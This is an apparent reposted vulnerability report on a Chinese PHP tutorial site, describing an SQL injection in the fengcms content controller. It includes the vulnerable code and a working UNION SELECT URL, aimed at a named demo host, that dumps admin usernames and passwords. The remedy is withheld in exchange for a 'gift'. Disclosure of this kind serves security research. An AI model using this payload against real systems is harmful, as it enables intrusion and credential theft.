网站地图    收藏   

主页 > 入门引导 > 黑客攻防 >

fengcms SQL注射一枚 - 网站安全 - 自学php

来源:自学PHP网    时间:2015-04-15 15:00 作者: 阅读:

[导读] 一枚注入直接出数据非盲注。就用官方给的演示站做测试。不知道你们有没有小礼物呢?详细说明: app controller contentController phpclass contentController extends Controller{private $content;public...

一枚注入直接出数据非盲注。就用官方给的演示站做测试。不知道你们有没有小礼物呢?

详细说明:

/app/controller/contentController.php
 

class contentController extends Controller{

private $content;


public function __construct(){
$this->content=M("module")->content($_GET['project'],$_GET['id']);
}

public function index(){
$_GET['classid']=$this->content['classid'];
return $this->display($this->content['template'],$this->content);
}
}



将$_get[project]带入content方法。进去看看:
 

public function content($table,$id){

$arr=D($table)->where('id="'.$id.'"')->getone();



直接将$table带入SQL语句。

我就不继续跟了,看漏洞证明吧。

官方给的测试站做验证:
 

http://guf521656.h163.92hezu.org/?controller=content&project=single%20where%201=2%20union%20select%2001,concat(admin,0x23,password),3,0x73696E676C652E68746D6C,5,6,7,8,9,10,11%20from%20f_manage%23



得到数据:
 

12.jpg

 

修复方案:

送小礼物我就提供帮助哦~

自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习

京ICP备14009008号-1@版权所有www.zixuephp.com

网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com

添加评论